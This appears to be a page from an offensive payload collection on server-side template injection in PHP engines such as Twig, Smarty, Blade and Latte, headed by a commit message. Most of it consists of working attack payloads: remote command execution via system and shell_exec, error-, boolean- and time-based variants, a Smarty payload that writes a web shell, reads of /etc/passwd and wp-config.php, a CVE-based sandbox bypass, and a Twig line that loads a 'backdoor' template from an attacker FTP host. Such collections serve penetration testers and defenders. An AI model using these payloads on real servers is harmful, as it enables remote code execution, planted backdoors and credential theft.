7fb2ff75d7
- Added SSTImap to the tools, as it now supports SSI detection and exploitation SSTI: - Added description for known detection and exploitation techniques - Added payloads for universal detection - Added universal payloads for different languages - Added Error-Based and Boolean-Based payloads - Moved SpEL payloads using `T()` to the correct category - Moved Pug payloads to the correct language and updated info to reflect the actual name
8.5 KiB
Server Side Template Injection - PHP
Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.
Summary
Templating Libraries
| Template Name | Payload Format |
|---|---|
| Blade (Laravel) | {{ }} |
| Latte | { } |
| Mustache | {{ }} |
| Plates | <?= ?> |
| Smarty | { } |
| Twig | {{ }} |
Universal Payloads
Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.
To use these payloads, wrap them in the appropriate tag.
// Rendered RCE
shell_exec('id')
system('id')
// Error-Based RCE
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
include(join("", ["Y:/A:/", shell_exec('id')]))
join("", ["xx", shell_exec('id')])()
// Boolean-Based RCE
1 / (pclose(popen("id", "wb")) == 0)
// Time-Based RCE
shell_exec('id && sleep 5')
system('id && sleep 5')
Blade
Universal payloads also work for Blade.
Blade is the simple, yet powerful templating engine that is included with Laravel.
The string id is generated with {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}.
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
Smarty
Universal payloads also work for Smarty before v5.
Smarty is a template engine for PHP.
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3, deprecated in v5
{system('cat index.php')} // compatible v3, deprecated in v5
Twig
Twig is a modern template engine for PHP.
Twig - Basic Injection
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}
Twig - Template Format
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Twig - Arbitrary File Reading
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
Twig - Code Execution
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614
With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:
{{ {'id':'shell_exec'}|map('call_user_func')|join }}
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
Latte
Universal payloads also work for Latte.
Latte - Basic Injection
{var $X="POC"}{$X}
Latte - Code Execution
{php system('nslookup oastify.com')}
patTemplate
patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
PHPlib and HTML_Template_PHPLIB
HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Plates
Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
page template:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
layout template:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
References
- Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack - March 24, 2025
- Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024
- Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026